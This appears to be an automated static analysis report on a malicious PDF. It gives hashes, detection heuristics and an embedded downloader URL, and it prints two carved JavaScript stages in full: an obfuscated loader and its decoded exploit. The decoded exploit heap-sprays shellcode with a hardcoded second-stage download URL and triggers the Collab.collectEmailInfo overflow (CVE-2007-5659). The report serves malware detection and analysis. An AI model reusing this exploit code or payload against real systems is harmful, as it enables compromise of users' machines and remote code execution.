Malicious PDF — malware analysis report

Static analysis result for SHA-256 ac4b26aa7b52c2f9…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 8e5d3d5a40955bbffa2204c1e769f009 SHA-1: 9e46fa42cfa2eea13aceb661496d990d545ff17a SHA-256: ac4b26aa7b52c2f92e71d87f72c0a1981f54423f51e7978bdcde64992766f7b8
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript with multiple obfuscation indicators, including an eval() call. This script is likely designed to download and execute a second-stage payload from a remote source. The presence of eval() and the general obfuscation suggest a malicious intent to compromise the user's system. No specific family could be identified due to the heavy obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function gKas7aqN(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function vKucTwf9rnOp(FTBaVMqhojz){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(FTBaVMqhojz)"+";"+"}");eval("function Bpm6l(stlqwPz8bV0a){var StIHbCsue="+"0,Soyky=stlqwPz8bV0a.l"+"en"+"gth,ODG2fv6ViA=10"+"2"+"4,FsAVi7vhEWDN,vOv40,Re9ggoclJ='',Ia5okaWrWE73ST=StIHbCsue,Us6a3z1h8g=StIHbCsue,jI0Fd7qiubJRSp=StIHbCsue,Gs933fv9Fx=Ar"+"ra"+"y(63,1,34 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://google-moogle.net/fiesta/load.php?id=30417&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x366 6416 bytes
SHA-256: 46c8728ddd974a820ccf1c0f8530d6762bd4da02236d4b5d3f61fcb61acd54f6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 171 of 231 identifiers look randomly generated (e.g. 'Glsp4P82jtEVha3l_GKvAbkFCdaKA5KDmwsVXXKL'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function gKas7aqN(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function vKucTwf9rnOp(FTBaVMqhojz){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(FTBaVMqhojz)"+";"+"}");eval("function Bpm6l(stlqwPz8bV0a){var StIHbCsue="+"0,Soyky=stlqwPz8bV0a.l"+"en"+"gth,ODG2fv6ViA=10"+"2"+"4,FsAVi7vhEWDN,vOv40,Re9ggoclJ='',Ia5okaWrWE73ST=StIHbCsue,Us6a3z1h8g=StIHbCsue,jI0Fd7qiubJRSp=StIHbCsue,Gs933fv9Fx=Ar"+"ra"+"y(63,1,34,13,0,42,19,52,25,12,0,0,0,0,0,0,56,16,24,9,55,14,37,7,51,60,43,57,33,17,18,40,10,15,29,50,30,20,36,53,3,22,49,0,0,0,0,11,0,62,38,35,54,4,27,46,26,6,45,8,59,44,2,58,32,5,21,28,31,61,48,47,23,39,41);f"+"o"+"r(vOv40=M"+"at"+"h.c"+"ei"+"l(Soyky/"+"ODG2fv6ViA)"+";vOv40>StIHbCsue;vOv40-"+"-){fo"+"r(FsAVi7vhEWDN=Ma"+"th.m"+"in(Soyky,ODG2fv6ViA);FsAVi7vhEWDN>StIHbCsue;FsAVi7vhEWDN-"+"-,Soyky-"+"-){jI0Fd7qiubJRSp|"+"=(Gs933fv9Fx[stlqwPz8bV0a.cha"+"rCod"+"eAt(Ia5okaWrWE73ST+"+"+)-48])<"+"<Us6a3z1h8g;if(Us6a3z1h8g){Re9ggoclJ+"+"=vKucTwf9rnOp"+"(169^jI0Fd7qiubJRSp&"+"2"+"5"+"5);jI0Fd7qiubJRSp>"+">="+"8;Us6a3z1h8g-"+"="+"2;}el"+"se{Us6a3z1h8g="+"6"+";}}"+"}return (Re9ggoclJ);}var KeFw3BF=implode('',['Ca3','S','fyka','8NEVu','0gHu','ykFCT9HTykofw3S','AG','kp','N','b@H','stmSRXmZGyBZ8','bCoM2aKkwT0BdTpkX','0','@w0sDT','58L','C2aoh','Q','0','HM','aEV@XB2NyOD1','XsZ9yB','pkX0','@w0sDT','5KLqH','IZE','DRvXg8FOwgdH0sV','wXCa','4P','3SvQal','QDjyhbO','pUbkSvQal','QDjyh','PC','WC29','Ic0aH','RlzbCN82kX0@','w0sDT5KLhHuSh','Du','d','4tmH1b','8LO','w','gdH0sVwXCai','gCpNb@d9D3Dfts2k','X0@w0s','DT5zVCNR','2Q','HuZPD3v','its2Mc9','oKx9','IBik','pCPR','2t','cIdCYIbO_mKC','N828iRbPyz','S','85sbP_8','2tcI','dCatHyGuvCN82s','t9','Hh','J9S8Hsp_Sk','DR58yhS','kDR','58y','h','SkDR58','y','hS','kD8aE','lJHkDh5','C','yJHkDta','zoASkDMbKoASkDM','b','8bBSkDm0g','bhSkDmw8yhS','kDmwalOHkD','mG8bsSkDw0El5H','kDw0al','wH','k','DM','ggy','w','HkDj0TymH','kDm0ElwHk','DtdClwHkD','mJCowHkDAaay','R','SkDRg','Klh','S','kDAaayRSkDtSElTSkDm0TbhSkD','m0ElJHkDtd','Clw','HkDJX8b','hSkDt28VTS','k','DmcCoBS','kD8o8bhSk','Dm0','EbB','Sk','Dm0','El','wH','kD','OcaytSkD','J','XCl','JH','kD','To8VTSkDt','SCbBSkD8oClBSkDm','0EbwH','k','Dm0E','lw','HkDO','ca','ytS','kD','JXClTS','kD5cTVTSkD','BbCywHkD8oKbjHkDm0TbjHkDm0','El','wHkDOc','ay','tSkDJXCl','hSkD8b8V','TSkD8','aab','BSkD8o8','Vw','H','kDm0gbJHkD','m','0ElwH','kDOcaytSkD','JXKlwH','kDf','STVTSk','D','82EVtS','kD8oCyT','SkDm0abASkDm0ElwH','kDOcaytSk','DO0a','lJHk','DjlK','ywHkDA2ab5HkDtaCb','sS','kDwl','Co','OHkDmG8btS','kDm0El','mHkDJcClwHkDA2aytSkDtdzoJ','HkDmwEoO','HkDmH','TVsS','k','Dtd','Ko','tSkDwlKoOHkD8oKoA','Sk','Dm','0ay','RSk','Dm0E','lwHk','DMo','KowHkD','wH8lASk','DAag','o8SkD','Ti8bTSkDm0ElwHkDtaCl','w','HkDwJCoOHkDf2','a','yR','SkDfaay','5HkDt','aKowH','kD50EoOHkD','Bb8VTSkDm0','ElwHkDJ0El','wHkDO','cayRSkDMSKl','JHkDJ0CljHkD','J','c','ay','RSk','D8o','KlTSk','Dm0','TVmHkDm0ElwH','kDOcEl','5Hk','D','fizowHkDJ','J','Clw','HkD5cC','VB','Sk','Dfi8VOH','kDm','wE','owHkDM2EVTSkDm0','El','wHkDA2Eb8SkDtdzow','HkDmJC','oOH','kD','mHTVsSkDtdKot','SkDwl','K','oOHkDO','0','TbTSkDm','0ElwHk','D','MSClwHkD','JlC','lMS','kDOcEl','5H','k','DjJg','oJHkD','JJg','bRS','kDB','b','Ko5HkD','50','EVOHkD','JJaowHk','D','O','cay','RSk','DM','SKlhSkDJ0ClOHkDJcayRSkD8oK','l','TSk','Dm','0','go5HkD','m0','ElwHkDm0TVsSkDA2Eb8SkDtdzowHk','Dm','lC','o','OHkDmDTVsS','kDt','dKotSkDwlKo','OHkDw','0TbTSkDm0E','lw','HkDMSCl','w','HkDtdCb','8SkDw0Eo','OHkDmHTVsSkDtdKotSkDw','lK','oOHk','Dm0Tb','TSkDm0ElwHkDO','H','ElwHkD','J','DaoRS','kD8SEl5','HkD','8','S','El5Hk','D','8S','El5','Hk','D8SEl5','HkD','85Ky','5HkDJHClJHkDtdKo','5HkD8dgbsSkDJDEbMSkD8aEb8','SkD','tdKo','OHkDtd8bhSkDm','lCVfSkDJwKyRSkDJXCl','hSkDA5ayRS','kDtd8lhSkDwcCVJHkDmJEVT','SkDJXCb5HkDAnKyRSkD','mJ','go','wHkDj','JEb5Hk','DO0KbtSkDRgComHkDf5El5H','kDjJa','oASkDmy','CbA','SkDw0EyBSkDBdTlsSkDm','lCVJHkDf2Kbm','HkDmJElf','SkDO0EbjHkD','BS','Tb','RSkDB','2','8lRSkDA2aoBSkDJH8bOHk','D8','dK','yR','SkDJ','HKy','RSkD','mJgoJHkDMn','zbf','SkDmJKyRSkD','tdCoRSkDw','JKosSkDhgCl5H','kDm','wayRSkDmJayRSkDJ','cKb','O','HkDfdaof','SkDm0ElTSk','D','Bg','TbTSkD','BbCbBS','kDJ','cEb8','Sk','DOJ','KojHk','DOy','CofSkD','m0EoBSkD','TdKyMSkDT','bzyRS','kD','fagbOHkD','toK','bwHkDtaay','wHkDt5ayT','Sk','Df','d','aysSkD','taayjHkDtoKyw','HkDtSKy5','HkDtSabmHkDTdK','y','s','SkDta','KbwHkDt','SKyAS','kDTd','z','yhSkDfa','ayBSkDtaay','5HkDtdK','yBS','kDTbK','bmH','kDTb','KyM','Sk','DtnzbwHkDhd','ayRS','kDhb','zbhSkDh2zbRSkDfazbTSk','D','Tb','zyhSkDhday','5','Hk','D8bzbRgkpNb@Dkw','R','2yXI','0JG82UbBbMD8b8b8b','8P82tcIdC','g9Vjx9o','y0QIT','Ewo','Iyk','F','Ca','tHyGuvGY9HGlsD1y@pCgzVCa3','Sfyk','o','JJuIQ','GKlA','2t2Ub@K400oMbkLCi@SAdTZOta0v','lKI5H','wp8','ijbMnOV','C','a3','Sfy','kSvQa','l','QDjyhbkFCS','u','Z','9J','j','Sky3H1gkc','s','X8bAb','Cc','s','X8b','Ab','K24P','8','2','kX0@w','0sDT58','2Ub','BZ8b','CoM','2','aKkwT0B','dTpkX0','@','w','0sDT5','8LC2a','oh','Q0HMaEV@XOVCa3Sfy@Ksczy','a6Edic3d','mx','9dTy','kFCiBZf2gvbykLCb87Rb8b8b','8b4h@K400oMP82QfIdC','i@Dkw','R2tc','a','SV_s@','u','Q3aUbzV','tca','SV','_s','@uQ','3','arTEDB','oz0V','cjZB','c3lqcj','DNa3o_6g','v','LD07@_Op4bO7C','2tbVX80wls','0S03o','_6gvLD07@6t2Ub','kS','vQ','al','QDjyh','bOpCa','tHyG','uvN','bkWCNR2QH','uZPD3v','i','ts2eH','z0qDTp4b','O7Ca3Sf','yBl','y','XzbtHaSME9VCN8','2','k','yR','dGa3v9l','3Hf','0','QHf','J3','vitIL','RfmaRw3v','Glsp4P82jtEVha3l_GKvAbkFCdaKA5KDmwsVXXKLfHsd','qcmS9GO','L','WDgL','E','x@2_nOVCa3SfyBZ82ao','0','wK7VJ','RlM','bkFCT9','HTykof','w3','SAG','BlyXzbtHaSME9V','G5svkw3oRGB','b4YBlyXzbtHaSME9VG5svkw3oRGkb4YBly','Xz','btH','aSME9V','G5','svkw3oRG@b4','n','OVCnI','H','CiB','pqyC','oJ00b66gd','jGzI8Nt2UN82Mb@cQbBp1YsbOwa0','fE3Kh','DTVScC','uC','NC','FC282QaB2q','yCoJ00','b6','6gdj','GzIf','Nt2rb@b4','b','BWryBZ82ao0w','K7VJRl','MP','Qb7yB','FC2C','p','4bB','Wry','BpqyCoJ00b66gdj','GzI','8Nt2UN','82Tb@cQbBZ8','2a','o0wK7VJRl','M','PQb7yBFC2Cp','CYRWCiBZ','82ao0wK7VJRl','MPtb7yBFCoCp4b','O7Ci','3','SO','ytZv','c8p','4P82tcIdCi0','K','n','HEDa','ykFC','SuZ9JjS','ky','3H','1gkcsyz','S8','59csyzS85I24P8','2TG9v','qHspZtg','vmHj0GY9H','GlsD1yBFCd8yASKb4bBIy_9ls','lt2nN','82','Zt','gvmHj0NbBD1XmdG5mZqx','9S_','Jt','Diw3','HCN825','fsZq','cISG','5','mZq','x9HPD3','lec9vq','XaZQfspNJ','3D_QIVCg@2','q','Nm','dEQ8','2Ztgv','mHj0U','X','OVCNR2UykZsot','ZjGkp','Nn']);");eval(Bpm6l(KeFw3BF));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x366 2566 bytes
SHA-256: 706306e42c79aaf9f760eaf36f5f423b4d0f431a2f39e95e7b530c534b034f97
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Q0M9TFgT = new Array(); function l00A8ANaBT1D(aYJFft73, ABsZf8F9Q) { while (aYJFft73.length*2<ABsZf8F9Q){aYJFft73 += aYJFft73;} aYJFft73 = aYJFft73.substring(0,ABsZf8F9Q/2); return aYJFft73; } function xaAPlY1() { var l2AkO = 0x0c0c0c0c; var VdNxj = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6F6F%u6C67%u2D65%u6F6D%u676F%u656C%u6E2E%u7465%u662F%u6569%u7473%u2F61%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3033%u3134%u2637%u7073%u3D6C%u0034"); var NiVB8 = 0x400000; var b9DlANVY7ZCU = VdNxj.length * 2; var ABsZf8F9Q = NiVB8 - (b9DlANVY7ZCU+0x38); var aYJFft73 = unescape("%u9090%u9090"); aYJFft73 = l00A8ANaBT1D(aYJFft73, ABsZf8F9Q); var Nu17WMqoqqElqw = (l2AkO - 0x400000)/NiVB8; for (var vAbMkHTzQ=0;vAbMkHTzQ<Nu17WMqoqqElqw;vAbMkHTzQ++) { Q0M9TFgT[vAbMkHTzQ] = aYJFft73 + VdNxj; } } function m5WlD() { var DN93vEb8j9 = app.viewerVersion.toString(); DN93vEb8j9 = DN93vEb8j9.replace(/\D/g,""); var l0ABV2zMsD8 = new Array(DN93vEb8j9.charAt(0),DN93vEb8j9.charAt(1),DN93vEb8j9.charAt(2)); if ((l0ABV2zMsD8[0] == 8 && ((l0ABV2zMsD8[1] == 1 && l0ABV2zMsD8[2] < 2) || l0ABV2zMsD8[1] < 1)) || (l0ABV2zMsD8[0] == 7 && l0ABV2zMsD8[1] < 1) || (l0ABV2zMsD8[0] < 7)) { xaAPlY1(); var XNkEuW = unescape("%u0c0c%u0c0c"); while(XNkEuW.length < 44952) XNkEuW += XNkEuW; this.collabStore = Collab.collectEmailInfo({subj: "",msg: XNkEuW}); } } m5WlD();

Open this report in the interactive analyzer, or submit your own file for analysis.